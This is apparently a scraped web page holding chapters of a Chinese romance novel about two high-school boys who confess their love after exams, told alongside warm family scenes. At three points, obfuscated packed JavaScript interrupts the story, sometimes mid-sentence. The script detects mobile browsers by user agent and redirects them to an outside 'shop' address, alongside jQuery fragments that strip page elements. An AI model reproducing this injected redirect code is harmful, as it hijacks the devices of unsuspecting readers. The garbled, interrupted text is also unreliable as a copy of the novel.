l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196404|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开口道,“是不是觉得我是一个神经病。” “不会。”乌嘉摇头,认真道,“我明白你的心情。” “你明白?”赵丝蕊闻言,奇道,“真的假的?” 乌嘉顿了一下,然后道,“你只是……想给自己一个交代吧。” “给自己的青春一个交代,并不是要去追求一个结果,而是为了将这份美好展现出来。” 说完,乌嘉浅笑道,“谢谢你的分享,让我看到了那么美好的一段感情。” 听到这样的一席话,赵丝蕊已经完全愣在了原地,她看着乌嘉,喃喃道,“老娘果然没有喜欢错人……” “我没有你想得那么好。” 乌嘉失笑道,“你喜欢的可能不是我,是存在于你心中的那段美好感情。” “所以,也不用有太多遗憾。” 看着乌嘉温柔的模样,赵丝蕊眼眶不禁红了,她眨眨眼,努力压下泪意,然后笑着道,“谢谢,能喜欢上你,真的是一件很幸运的事。” 说完,她就转身低头匆匆离开了,乌嘉目送她离开后,便松了一口气,他看着赵丝蕊的背影,默默祝愿她能考个好成绩。 与此同时,躲在教室偷听的傅星手机震动了一下,打开手机一看,是刚离开的赵丝蕊发给他的。 赵丝蕊:你小子运气是真好。 傅星嘴角勾起,抬手打出三个字——那可不。 “星星,走吧。” 乌嘉走进教室,就看到傅星对着手机笑,还是一种很得瑟的笑,他被傅星这副模样逗笑,不禁道,“你在笑什么。” “我赢了。”傅星收起手机,满脸自豪的走到乌嘉身旁,像是一个打了胜仗的将军。 “游戏?” “不是。” “那赢了什么?” “赢了……”傅星对上乌嘉好奇的目光,原本肆意的笑也变得内敛,全都敛成了那满腔不言的喜爱,他眨眨眼,低声道,“一辈子。” “什么?”乌嘉好像没听清楚,或是听清楚了,但是没有理解他的意思。 “不说这个了。”傅星忽然停下脚步,对乌嘉郑重道,“我今天晚上想邀请你。” “邀请我干什么。”看着傅星这副严肃的模样,乌嘉也不自在起来,不由得握紧了书包背带。 “赏月。”傅星忽然一笑,全然不见刚才那片刻的正经模样,他呲牙笑道,“晚上十点,岔路口见。” 说完,他倒退几步,然后忽然转身奔跑起来,留下乌嘉一个人懵在原地。 乌嘉很快反应过来,他迈开腿,想追上傅星,但奈何体力不足,只能看着人越来越远。 跑了几分钟,他气喘吁吁停下,看着远处蹦跳朝他着招手的身影,乌嘉无奈笑了笑,然后调整好呼吸,重新朝着傅星跑去。 “等等我!” 11. 月亮是不完美 “嘉嘉?” 看着饭桌上明显心不在焉的乌嘉,宋玉温放下手里的筷子,满目忧心道,“是不是哪里不舒服?” 乌嘉回神,看着碗中已经凉透的菜,意识到自己有些失常了,他对上宋玉温担忧的目光,露出一个笑容道,“刚考完试,有些不习惯。” 说完,他有些心虚的移开目光,低头扒了两口饭。 晚上十点要出门,该怎么和爸爸妈妈说呢……总不能实话实话吧,说傅星要约他赏月,听上去很奇怪。 对啊,傅星为什么要约他做那么奇怪的事。 想到这,乌嘉忽然反应过来,他居然没有质疑过傅星邀约的合理性,而是直接开始思考自己该怎么赴约。 “看来今天我做的菜不合嘉嘉胃口啊……” 乌常辉长吁短叹道,“看来只能使出杀手锏了。” 乌嘉闻言,顿时惊醒,生怕乌常辉真的难过了,忙道,“没有的事,爸爸做的菜很好吃,真的……” “唉……不用说了。”乌常辉打断乌嘉,然后起身,神神秘秘的走向了厨房。 宋玉温咬着筷子,满脸好奇盯着厨房,道,“看来今天还有什么好吃的。” 没一会,乌常辉端着一个盖着盖子的盘子出来了,他把盘子放在餐桌中央,满脸严肃对乌嘉道,“这可是一年只能吃到一次的好东西,为了挽救嘉嘉的食欲,不得不拿出来了……” 乌嘉听到这话,心中负罪感油然而生,他有些无措道,“我吃什么都行……” “行了,别逗嘉嘉了。”宋玉温终于绷不住了,笑着打开了盖子。 “锵锵锵!” 里面躺着几个圆鼓鼓的三角粽子,糯米的气味与棕叶独有的清香交织在一起,让人不由升起品尝的欲望。 乌常辉剥开粽子,放到乌嘉面前,笑道,“前几天是端午节,嘉嘉一定忘了。” 看着眼前蘸好了白糖的粽子,乌嘉有些发愣道,“还真忘了。” “快尝尝。”宋玉温满脸期待的盯着乌嘉,自豪道,“这可是妈妈亲手包的。” “妈妈包的?”乌嘉有些意外,毕竟宋玉温基本上不进厨房。 “是呢,你妈包废了我一半的粽叶才出来了这一个成品。”乌常辉满脸无奈道,“我说我来就行了,她非要自己动手。” 宋玉温哼道,“那是你教得不好。” “对的对的,我能力不够。”乌常辉满眼纵容的应和。 看着两人斗嘴,乌嘉嘴角不自觉勾起,他咬下一口粽子,细细品味,只觉甜意蔓延到了心底。 “这是我吃过最好吃的粽子。” 宋玉温闻言,顿时乐开了花,弯着眼笑道,“那妈妈每年都给你包。” “我也要包。”乌嘉吃着粽子,幸福的眯起了眼,不忘对乌常辉道,“明年爸爸也要教我。” “好。”乌常辉故意道,“嘉嘉那么聪明,肯定比某些人学得快。” “说谁呢。”宋玉温闻言佯怒,瞪着乌常辉。 乌常辉看向天花板,小声道,“谁急说谁。” “你!” 温馨的饭厅里,笑闹声谱成一曲名为幸福的乐曲,而合奏的,是并不悦耳的碗筷碰撞声,以及电视机发出的杂音。 这样嘈杂的环境,却让喜欢安静的乌嘉深感安心,笑意也在脸上久久不散。 吃完饭,乌嘉本能的要回房间学习,却被宋玉温拦下。 “哎哟,嘉嘉,歇会吧。”宋玉温拉过乌嘉,让他在自己身旁坐下,心疼道,“咱们考完了,放松一下。” 乌常辉端着一杯茶坐下,附和道,“和爸爸妈妈看会电视吧。” 乌嘉闻言,也没有拒绝,任由宋玉温搂着他看电视。 电视上此时放的是晚间新闻,主持人一句“端午节来,吃棕必中”听得宋玉温眉头一皱。 中考高考正好撞上端午节,很多人都喜欢用粽子祝福考生高中状元,似乎成了一种不成文的习俗。 宋玉温转头看向乌嘉,认真道,“嘉嘉,爸爸妈妈包粽子不是这个意思啊,可别误会了。” “啊?”乌嘉没理解宋玉温的意思,有点懵。 宋玉温接着道,“让你吃粽子,不是就说期望你能必须高中,别有压力。” 乌常辉喝了口茶,点头道,“吃粽子就吃粽子,还高棕,吃个粽子还整焦虑了。” 乌嘉这才反应过来,明白了他们的意思,心中不由暖暖的。自己都没有想到的一面,他们却顾及到了,时刻警惕的守护着他的心情。 “我明白的。” 宋玉温搂着他的手温暖到炙热,他不由得一点点依靠上了这个并不坚实的臂膀,乌嘉靠在宋玉温肩上,笑着道,“就算我没有考好,就算落榜,爸爸妈妈也不会怪我。” 宋玉温也记不清乌嘉有多久没有这样依靠他了,感受着这有些小心翼翼的力道,她一时间有些愣神,听到乌嘉的话后,她不由眼眶一热。 嘉嘉接收到了他们的爱。 “这样想就对了。”乌常辉放下茶杯,宽大的手臂揽住两人,笑着道,“人生有很多条路,不一定就要走大家都在走的那条。” “不论你走哪条,爸爸妈妈都会支持你。” “欸,不对!”宋玉温警醒抬头,急道,“违法犯罪不能走!” 乌常辉闻言,也意识到自己的失误,连忙补充道,“是的是的,这不能走。” 乌嘉失笑,无奈道,“我知道的。” 看电视看到九点多,第二天还要上班的两人率先起身,打算回房间休息。 乌嘉则还坐在沙发上,看着宋玉温伸着懒腰,脸上闪过犹豫。 他看了眼时间,离十点还有半小时,还是要说一声,他不安的蜷了蜷手指,然后对宋玉温道,“妈妈,我等下出去一趟,星星找我有点事。” “那么晚了还要出去……”宋玉温坐起身,有些疑惑道,“是东西落你这里了吗?” 乌嘉也不知道怎么回答,一时间紧张了起来,他不想撒谎,但也不知道怎么解释傅星奇怪的邀约。 “去吧。”乌常辉在一旁适时开口道,“反正也没多远,快去快回啊。” “可是那么晚了……”宋玉温还想再问问,却被乌常辉打断。 “那么大小伙子怕什么,再说见星星有什么不放心的。”乌常辉拉着宋玉温就回房间,边走边对乌嘉道,“回来记得锁门啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196405|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砰的一声,房门关上,留下乌嘉一人在客厅。他有些没回过味来,那么简单就同意了吗,都没仔细问问原因。 房间里,乌常辉拉着宋玉温,语重心长道,“这个年纪有些小秘密很正常,要是嘉嘉想和你说就说了,没说就是不太好说,咱也别问到底了。” “你说的有道理。”宋玉温点点头,没再纠结,抱住乌常辉,笑着道,“还得是你心细如发。” “心思不细,当初怎么追到的你。”乌常辉回抱住宋玉温,嘴角扬起幸福的弧度。 “油嘴滑舌……” “哈哈哈哈……” 月上树梢,虫鸣稍歇。 白日里热闹的街道此时分外寂寥,除了一盏又一盏路灯照出的影子外,便没了其他活动的事物。 初夏时节,夜晚凉意早已不显,乌嘉还穿着一件并不单薄的外套,但露在外面的手还是冰凉到麻木。 再转一次弯,便是约定地,眼看转角越来越近,乌嘉却开始放空,仿佛大脑死机一般,他都没办法思考自己现在的行为是否合理。 虽然没办法思考,但脚下的步伐却未曾放慢。 两步,一步……在转弯的一刹那,一只滚烫的手抓住了乌嘉,他吓得一抖,在看到那熟悉的浅色卷毛后,他才放下心来。 或许是因为自己的手太凉,乌嘉觉得傅星那只握住他的手烫的有些离谱了,那炽热的感觉仿佛占据了他全部的思想。 “星星……你要带我去哪?”乌嘉强迫自己忽略到那两只粘腻交缠的手,看向身侧红着耳廓的少年。 傅星一抓到人,什么都没说就库库往前走,听到了乌嘉的疑问后,才反应过来自己在做什么蠢事,堪堪刹住脚步。 或许是巧合,两人停在了一处开阔地,没有树木遮挡,也没有灯光打搅,是一处绝佳的赏月地。 乌嘉抬头,看向天上并不圆满的月亮,开口道,“今天不是圆月日呢。” 听到这,傅星也看向天空,只见一轮皎洁悬于黑布之上,明亮耀目,美的让人移不开目光,但缺失的那一小片也格外显眼。 他顿时心下一沉,糟糕,疏忽了,该挑一个满月的日子的。 “对不……” “星星,我才发现……” 乌嘉忽然开口,打断了那句道歉,他看向傅星,恍然大悟道,“今天确实很适合赏月的日子。” “诶?” 傅星有些懵,明明今天的月亮并不完美,为什么这样说。 “圆月虽然看上去圆满明亮,却少了最重要的东西。” 听到这样的话,傅星疑惑的看向乌嘉,只见他望着天空,平日浅淡深邃的眼,此时映着天边明月与细碎繁星,只见他慢慢开口道,“星星。” 星星?叫他吗?傅星刚想应声,却听到乌嘉继续道,“月圆的时候,是没有多少星星的。” “圆月太亮了,星星微弱的光的会被盖住,所以是看不到星星的。” 乌嘉侧头,漆黑的眼散去了天边星辰,映出了面前的星星,他认真道,“对月亮来说,最重要的应该还是要有周边繁星陪伴吧。” 只有不完美的月亮,才遮盖不住繁星的光芒。 12. 可能是遇见你 “没错。” 傅星陡然放松,勾唇笑了。 他将乌嘉的手抓得更紧,感受着那熟悉的温度,继续道,“对月亮来说,最重要不是完美,而是星星。” 圆满的月亮固然明亮皎洁,但没有周边星辰,也只是孤独高悬于黑夜。 手上收紧的感觉难以忽视,乌嘉的耳朵泛起热意,他点点头,有些局促的移开了目光。 似乎突然安静了下来,空气种漂浮着微妙的热意,四周的虫鸣声开始变得有些聒噪,它们肆意叫喊,发泄着心中的欲望,比人更坦诚。 乌嘉只觉自己的体温一直在上升,他想把外套脱下,但两只牵连在一起的手不允许他进行这个动作,只好生生忍下心中热意,将注意力四散。 ——虫在鸣,树在摇,心在动。 “嘉嘉。” “星星。” 两人同时开口,对上的目光开始了直白的拉扯,几声虫鸣后,乌嘉率先败下阵来。 他轻吐一口气,然后露出了一个笑容,对傅星道,“你先说。” 傅星微微点头,他深吸一口气,然后慢慢松开了那只不知道握了多久的手,他退后一步,神情严肃的看着乌嘉。 或许是因为,那双一直轻盈的眼眸忽然今天过于郑重,以至于让乌嘉全部的注意力都集中于傅星那双眼,所以他没太感受到手的空落,而是开始不由自主的紧张起来,就连呼吸也开始变慎重。 “我也不知道是什么时候开始的。”傅星开了口。 满载爱意的眼,一动不动盯着眼前的少年,傅星在乌嘉的眼里看到了很多东西,期待、担忧、害羞、紧张、唯独没有看到退缩。 “可能是一起回家的路上,可能是在拉着手狂奔的时候,可能是在上课的教室里,可能是坐在你身旁的过去里。” 一句一句,傅星将两人六年的点滴说出。 回望过去,除了那跨过了时间也能让人嘴角不禁勾起的喜悦,还有道不尽,也藏不住的悸动。 好像在最开始初遇时,两人的眼中,就只剩下了彼此。 “可能是,遇见你的那一瞬间。” 傅星上前半步,拉住乌嘉垂在身侧的手,他小心翼翼将乌嘉两只手齐牵起,缓缓举高,举过了心口,举到了唇前,然后虔诚的闭上了眼。 他在漫天星月的注视下,轻吻了那冰凉的指尖。 像是一点熔岩落在手上,穿过了肌肤,烧到了骨头,那夺命的温度直直蔓延到蜷缩。乌嘉瞳孔颤动,呼吸也不由得停滞,这样的热度他无法思考的问题,也是不愿思考的问题。 不知道过了多久,傅星终于睁开了眼,他不敢注视乌嘉,那一吻几乎耗尽了他所有的勇气。他低着头,红意已经蔓延到了两人的指尖,炙热的红交缠在一起,让他思绪沸腾。 直到现在,他依旧没有感受到乌嘉的半分抗拒,他不知道自己该不该高兴,因为他不知道乌嘉究竟是喜欢他,还是不忍拒绝他。 “我想了很久,我该怎样跟你告白。” 傅星低着头,语气比方才轻松了些许,但依旧半绷着,他继续道,“我最后想到了一个,你或许会喜欢的方式。” “还记得那条撤回的信息吗,我说过,考完试告诉你。” 说完,他便抬起头,对上乌嘉那双略显无措的眼睛,缓缓开口,“我发的是……” “愿我如星君如月,夜夜流光相皎洁。” 多么希望我是星星你是月亮,在每一个夜晚里相互辉映着洁白的光芒。 这是那天乌嘉错过的诗,也是傅星辗转反侧一整夜也没能说出的心情。他担心自己被拒绝,也担心会影响到乌嘉考试,挣扎之下,还是撤回了信息。 虽然他撤回了消息,但他撤不回自己的情感。 傅星是一个直白的人,他从来不会给自己留下遗憾,因为他从小就很清楚自己需要什么,也会坚定的朝自己的目标迈进。 他确信,乌嘉就是他的必需品,一辈子的必需品。 理智告诉他,他应该从长计议,一点点达成自己的目标,现在也不是最好的时机,他们还太不成熟,他们还需要成长。 但汹涌的情感像海浪一样,一次次吞没了他,在巨浪的摧残中,傅星难以为继,他终于还是控制不住自己,朝乌嘉伸出了求救的手。 乌嘉垂眸看着他的手,久久没有开口。 他从前一直以为,傅星就是天上发光的繁星,而他,只是挂在傅星旁边的一轮残月,靠着从太阳那偷来的光,有了与繁星共明的机会。 残缺的他本是自卑的,因为繁星日复一日的照耀,月亮终于有了变圆满的勇气。 “好。” 乌嘉用力抓住他的手,坚定答应了他。 温和的月光与繁星的光芒交融,漫撒在两个牵着手的少年身上,为他们镀上洁白的光,为他们照亮了眼前的彼此。 “嘉嘉,你真的答应我了?”回去的路上,傅星还有些飘忽忽的,他紧紧拉住乌嘉,生怕人跑了。 乌嘉脸上红晕未消,看上去也有些恍惚,但听到傅星的询问,他还是认真的点点头,红着脸严肃道,“我不骗人。” “我不会是在做梦吧……” 傅星有些失常的反复喃喃,事情有些过于顺利了,简直不像真的。他嗖的转头,盯着身旁的乌嘉,愣愣开口,“我能亲你一下吗?” 乌嘉闻言,浑身一僵,停下脚步,难以置信道,“……什么?” 傅星这才反应过来自己说了什么,连忙补救道,“我随口一说……” “这是可以随口说的吗?”乌嘉更是震惊,他活两辈子,还是第一次谈恋爱,原来恋爱是这样谈的吗? “不是!” 傅星不知所措站在乌嘉面前,也是恨不得给自己两耳光,一张嘴就是给自己泼黑水,嘉嘉不会从此对他改观,认为他就是一个这样轻浮的人吧。 “我就是开心傻了,想确认这是不是梦。”傅星垂下头,自暴自弃靠在乌嘉肩上,低低道,“如果是梦的话,这时候也该醒了……” “我不是这样草率的人。” 傅星拉着乌嘉的手,像只失落的大狗一样靠着他。乌嘉被他委屈的语气逗笑了,抬起手摸了摸肩上毛茸茸的头,温声安抚道,“知道了。” 这个姿势,傅星正好看见乌嘉细白的脖颈,感受着头上的抚慰,他吞了吞口水,有点想……咬住。 “如果你真的很想的话……”见傅星埋在他肩上久久不肯抬头,乌嘉只好红着脸妥协道,“亲脸可以吗?” 傅星闻言,咻的抬起头,他顶着满头乱翘的卷毛,看着乌嘉,呆道,“真的吗。” “嗯。”乌嘉点头,没敢直视傅星,红着脸严肃道,“亲完就回家吧,很晚……” 话音未落,傅星已经啃上了他的脸,温热的触感弄得乌嘉愣在了原地,一时间没能给出有意识的反应,直到那温热的感觉忽然变得有些硌人。 等傅星退开,乌嘉摸着自己留下牙印的半张脸,陷入了沉思,亲脸是这样亲的吗? 傅星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196406|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚的摸了摸鼻子,又抬头看看天空,然后道,“是不早了,我先回去了。” “嘉嘉,明天见。” 说完,傅星退后两步,依依不舍转身,一步三回头的走了。 乌嘉捂着脸见傅星走远后,便也转身回家,还没走两步,身后又传来了急促的脚步声。 还没等他回头,傅星已经从后面抱住了他,急速跳动的心脏从背后传来,他紧紧圈住乌嘉,呼吸急促的开口,“我忘记给你一个东西了。” 傅星箍在他身前的手缓缓打开,里面的东西看得乌嘉不由一笑——是一颗奶糖。 是故事开始时,那颗暖黄的奶糖。 乌嘉笑着抬手拿过傅星掌心糖果,认真道,“谢谢。” 傅星没有出声,而是就这样抱着乌嘉,在昏暗的路灯下,两个重叠的影子安静了很久,直到灯下飞过几只循光的飞虫。 不知过了多久,他终于放开手,对回过头的乌嘉笑着道,“晚安,好梦。” “好梦。” 乌嘉撕开糖纸,含着他最喜欢的糖,独自走回了家。 身后再没有传来急促的脚步声,而他在关上门前,看向了那个月光下的路口,久久没有移开目光。 宋玉温和乌常辉此时已经睡熟,乌嘉尽量放轻动作,慢慢的回到房间里,他在书桌前坐下,长长呼出一口气。 事情似乎发展得超出了他的承受范围,平坦的道路一下子好像变成了狭窄的独木桥,一走错,就是万丈深渊。 但乌嘉并不害怕,或许是因为,他以前总是设想自己在颤颤巍巍的走独木桥,所以当脚下的路真的变得危险时,他反而适应了。 又或许因为,他明白了自己虽然走的是独木桥,但周边深渊之上,还有一张足以救起他的大网。 这张网用爱意织成,而织出网的,是爸爸告诉他的“你就是我们的宝物”,是妈妈任他依靠的肩膀,是傅星给他的黄色奶糖…… 他的目光又落在了窗外的月亮上,不由的起身,走到了窗边,望着如水夜色,久久不能回神。 直到手机响起提示音,将乌嘉思绪拉回,他点开一看,是傅星更新了一条朋友圈。 是一张繁星与明月相互辉映的照片,配文:愿我如星君如月,夜夜流光相皎洁。 乌嘉看着那张照片,怔愣了片刻,随即勾唇。 他认出来,这张照片并不是今天晚上的夜色,而是上次他发给傅星的照片,而那张照片之下,是傅星撤回的诗。 那天没能传达的心情,终在今天说出。 傅星朋友圈下的点赞和评论逐渐多了起来,有笑他酸气,有问他是不是有什么情况,还有夸他摄影技术好的。乌嘉犹豫片刻,最后在热闹的评论区隐蔽的打出一个字。 好。 打完字后,乌嘉脸有些发热,他平复片刻后便放下了手机,打算去洗澡,放下外套前他习惯性的掏了掏兜,摸到了一张塑料纸。 他掏出这张黄色糖纸,揉捏了一下,并没有丢进垃圾桶,而是坐在桌前,熟练的将糖纸压平,然后从书桌下掏出一个大牛皮纸盒。 打开盒子,里面赫然放着一叠叠各色糖纸,其中最多的,就是他手中这种黄色的奶糖纸。 这么多年,傅星送他的每个糖,他都会在吃完糖后将糖纸留下。 爱意总是有迹可循。 乌嘉将糖纸小心收纳好,像是放什么稀世珍宝,收好后,便把盒子盖好,放回了原位。从幼时收下那颗糖开始,好像就有什么开始发生改变了。 13. 只求是无尽夏 早间清风吹起少年洁白的衣角,他步伐轻快婉转,荡步鸟语清越的街道上。 一捧系着淡黄色丝带的无尽夏,被嘴角扬起的干净少年牢牢握在手心。 蓝与紫交汇纠缠的三团锦绣直直映进少年漆黑的眼眸,那散射出繁花般的缤纷爱意,让路过的每个人都读懂了他的喜悦。 看到熟悉的大门,傅星不禁加快了脚步,他小跑到门口,迫不及待的伸手敲了敲门。 正在吃早饭的乌嘉猛地抬起头,他的心脏若有所感的快速鼓动起来,耳廓也泛起了红意。 “谁啊,那么早……”宋玉温神情倦怠的打了个哈欠,她的位置离门最近,正想起身开门,却被乌嘉抢先一步。 看着乌嘉匆忙的背影,宋玉温脸上露出些许疑惑。 乌嘉一开门,就被傅星灿烂的笑晃了眼。 傅星今天穿着一件淡黄色短袖衬衫,这样纯净温暖的颜色与他很是相称,带上那直戳人心的清爽笑容,整个人明亮到耀目。 愣愣的盯了片刻后,乌嘉红着脸从傅星的笑容中移开目光,这时他才发现,傅星还捧着一束花。 绚丽繁华的花朵美得让乌嘉一窒,他张了张嘴,好半晌才找回自己的声音,“这是……给我的吗?” 傅星看着乌嘉呆呆的模样,不由失笑,他故作正经道,“当然不是,是给叔叔的。” “……啊?” 趁乌嘉脑子还没清醒,傅星将花束塞到他手中,然后熟练的进门换了鞋。换完鞋,傅星自然的揽住乌嘉,同客厅里吃饭的宋玉温与乌常辉打了招呼。 “星星过早了没,来得正好,今天买了街口的三鲜豆皮,我还说买多了。”乌常辉见到傅星也不惊讶,笑着招呼傅星。 宋玉温看到乌嘉手中的花束,早起困倦的大脑一下子就清醒了许多,她不由惊叹道,“好漂亮……” 傅星看向乌嘉眼神中闪着光,他笑着道,“我的眼光不错吧。” “不错不错,还得是星星会挑。”宋玉温连连点头,随即她突然想到了什么,看向乌常辉,意味不明的眯起了眼。 低头吃东西的乌常辉浑然不觉,乌嘉察觉到宋玉温的小情绪,只得轻咳两声,试图引起爸爸的注意。 乌常辉抬头,接收到宋玉温的眼神后还是有些懵。 宋玉温没等乌常辉开口询问,放下筷子,满脸肆意,孩子气般开口道,“我也要。” 乌常辉愣了片刻,看到乌嘉手中的花很快就反应过来,宠溺的笑出声,然后纵容道,“好好好,给你买比这还要大,还要漂亮的。” 宋玉温这才心满意足,重新拿起筷子吃饭,不忘提醒乌嘉道,“记得找个花瓶放点水,水里加一点白醋,花枝剪斜角,这样才放得久一些。” 乌嘉看着手中的花束,毫不犹豫起身道,“我现在就去。” 傅星匆匆吃了两口豆皮,然后也跟了上去。 乌常辉看了一眼傅星离开的背影,目光微变,但没说什么。 他放下筷子,笑着对宋玉温道,“绣球是要这种蓝紫色的,还是要你喜欢的白色?” 宋玉温犹豫片刻,心中开始斟酌,感觉都很好看。 多年的默契让乌常辉一眼就看出宋玉温的想法,他点点头,了然道,“我知道了。” “我还没选呢。” “我就是知道了。” “那我今天就要看到。” “好好好……” 乌嘉将花束插好,然后拿着花瓶回到了房间,他将花瓶摆在窗前的书桌上,看着美丽的花束,他心中微动,忍不住打开手机拍了一张照。 阳光和煦的洒在书桌上,花团在书本与文具中显得很鲜明生动,照片没有复杂的构图与手法,却也十分抓眼。 “记得发给我。” 带着笑意的声音突兀的响起,乌嘉回头,看到了倚在门框上的傅星,不知道已经在后面看了多久。 他脸上微热,故作自然的收起手机,然后红着脸开口道,“你自己没有拍吗?” 见乌嘉害羞了,傅星笑得更是肆意,他一步步走向乌嘉,边走边道,“我哪里还记得拍照,我一拿到花,脑子里就只剩下一个想法——” “那么好看的花,我一定要快点给嘉嘉看到。” 一字一句间,傅星已经走到了乌嘉身前,比他高半个头的少年眼中满载喜爱,那浓烈张扬的情感如有实质,迎着乌嘉直压而来,让他无从招架,不由往后退了半步。 傅星不管不顾,上前一步,再度拉近两人间的距离。 不仅自己毫无距离感的靠近,还由不得乌嘉继续后退,傅星一把抓住了他短袖下的手臂,温和又不容置疑的将人禁锢在原地。 盯着乌嘉下垂闪躲的眼睑,他勾着嘴角,低笑道,“可真真没想到要拍张照留念一下。” 因为距离太近,灼热的气息喷到了额间,乌嘉心跳乱如麻,他的视线只敢落在傅星脖颈间,落在那并不凸显也不隐秘的喉结处。 他喜欢傅星那双明亮的眼睛,但现在他不敢多看一眼,因为那双熟悉的双眸不再半分掩饰渴求,每每对视上,深情露骨得像是要溺毙他,只是匆匆瞟过,就让乌嘉慌得腿软腰麻。 他下意识的吞咽了一下,脑中蒙蒙的找回半分逻辑,结巴着开口,“那,那我发给你……” 说着,乌嘉就要掏手机,手机放在右边口袋,而傅星抓住的也是他右小臂,两人又靠得太近,乌嘉没办法用左手掏右兜。 他静默片刻,见傅星没有主动放手的意思,便动了动被抓住的右臂,可傅星像是没接收到他的暗示,依旧抓得牢牢的,不给他动作的空间。 他无法,只得抬头看向傅星,只见傅星满眼笑意,还故作无辜道,“怎么了?” 乌嘉语塞,深吸一口气,正要开口,却被傅星的小动作打断。 原本一直握着手臂的灼热指节开始放松,但又未曾完全放开,只是顺着肌肤缓缓下滑,指尖摩挲过的地方泛起阵阵麻意。 乌嘉瞳孔微颤,只感觉傅星的手顺着小臂慢慢摸到了他的手心,两只尚有差异的手开始交缠,触碰,若即若离,一下夺走了乌嘉所有的感官。 “你不发的话……” 傅星虚虚扣着乌嘉的指节,目光下移,落在他放着手机的裤兜上,轻声开口道,“那我自己拿了。” 话音落地,乌嘉眼中迷蒙,还没思考出傅星什么意思,就又感受到了傅星那作乱的手。傅星的手虚缠着他的指尖,探向他放着手机的裤兜。 因为是家居服,所以布料柔软有弹性,裤兜也做得宽大,倒也勉强容纳得下两只手。 乌嘉微红的脸一下子变得滚烫,那手只隔着薄薄的一层布料贴着他的…… 好在傅星好似真的只是为了拿手机,摸到手机后就带着乌嘉的手抽了出来,他顺着交握的动作,借乌嘉的指纹解了手机的屏幕锁,然后当着乌嘉的面将那张拍好的图片分享给了自己。 看着那个置顶的“星星”,傅星脸上笑意愈显。 “要我给你放回去吗?”傅星拿着乌嘉的手机,故意问道。 乌嘉脖颈都红了,他一把夺过手机,退后了两步,急急开口道,“不用。” 傅星手中乍然空落,又看到了乌嘉逃似地与他拉开了距离,脸上笑意淡了半分。 乌嘉红着脸在房间里东看西摆,拼命给自己找点事干,一副很忙的模样,就是不看孤零零站在房间中央的傅星。 傅星顿时有些委屈,拉长了声音开口,“嘉嘉……” 乌嘉摆书的动作一顿,这样的语气他再熟悉不过,这又是委屈了,要撒娇了。 他无奈闭上了眼睛,脸上虽余热未消,但也妥协的放下了书,转过身看向傅星。 真是要命。 他走上前,主动拉住傅星的两只手,然后看向那双仿佛受了天大委屈的狗狗眼。 乌嘉强行压下心中羞涩,在心中对自己说了好几遍我比他大十八岁,我是一个成熟的大人,我要主动些。 他红着脸,努力平稳语气,对傅星开口道,“我只是有点……不习惯,我不是不想和你亲近,就是……你给我一点时间适应一下……” 明明已经害羞得要命,还要红着脸过来哄自己这个罪魁祸首,简直是……太可爱了。 傅星眼神闪动,心中鼓动,已经被乌嘉可爱得肝颤,他再装不下去半点,一把抱住乌嘉的腰,将 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傅星连连说了许多个“非常”,还故意拉长了音调,听得乌嘉头都低了下来,手也抵在了傅星胸膛,想摆脱这个让人格外羞耻的姿势。 但傅星就是不给他这个机会,不仅不放手,还要牢牢扣住他的腰,凑到他耳边继续说。 “……非常喜欢我了。” 乌嘉已经抬不起头见人了,他放弃般埋首在傅星胸膛上,低声求饶,“星星……” 傅星笑出声,没再开口逗乌嘉,他抬手摸了摸乌嘉柔软的发丝,抱着人幸福的眯上了眼。 等两人从房间里出来,宋玉温和乌常辉早就已经出门上班去了,客厅桌子上摆着几张钞票,一旁还留有一张便利贴。 便利贴上画着几朵小花,写着简短一句话:没玩尽兴了不准回家。 乌嘉失笑,一看就是宋玉温留下的字,他打开手机,想给宋玉温发条消息,映入眼帘的又是宋玉温豪气的微信转账。 两笔钱加起来…… 他沉默片刻,还是收下了钱,然后斟酌着跟宋玉温发消息:妈妈,我们没打算出市,也不打算出省,就在附近玩。 宋玉温几乎是秒回:好的,不够再问妈妈要。 乌嘉:我们就随便玩一些正常的项目。 宋玉温:行,不够跟妈妈说。 乌嘉看着那两个不够,陷入沉思,他在妈妈眼中那么骄奢吗? 宋玉温又一条消息传来:要玩得开心哦[比心] 乌嘉笑了笑,回了一个爱心,他也不再纠结金额问题了,抬起头看向傅星。 “你想好去哪里玩了吗?” 傅星眸光一动,咳了咳,然后故作矜持道,“嘉嘉有想去的地方吗?” 乌嘉摇头,他对娱乐基本上没什么研究,倒是傅星总是会有些奇奇怪怪的点子,每次都让他很是……惊喜。 “那……”傅星拉起乌嘉的手,说着就朝门口走去。 “先去书店吧。” 书店?乌嘉愣了愣,这不像傅星会选的地方,他一般喜欢带乌嘉去游乐场或者大型商场,玩一些刺激的娱乐项目。 或许是看出了乌嘉的愣神,傅星弯起嘴角,愉悦道,“第一次和男朋友约会怎么能跟平时一样呢,我可是有好好计划的。” “嘉嘉最近肯定想买书了吧,暑假那么长,你肯定想多看几本书。” 乌嘉听着“男朋友”三个字,耳朵微热。 傅星说得没错,他确实有买书的打算,本来打算过几天自己去的,没想到这次傅星主动要陪他去。 “你要是不想去的话,我也不急……” 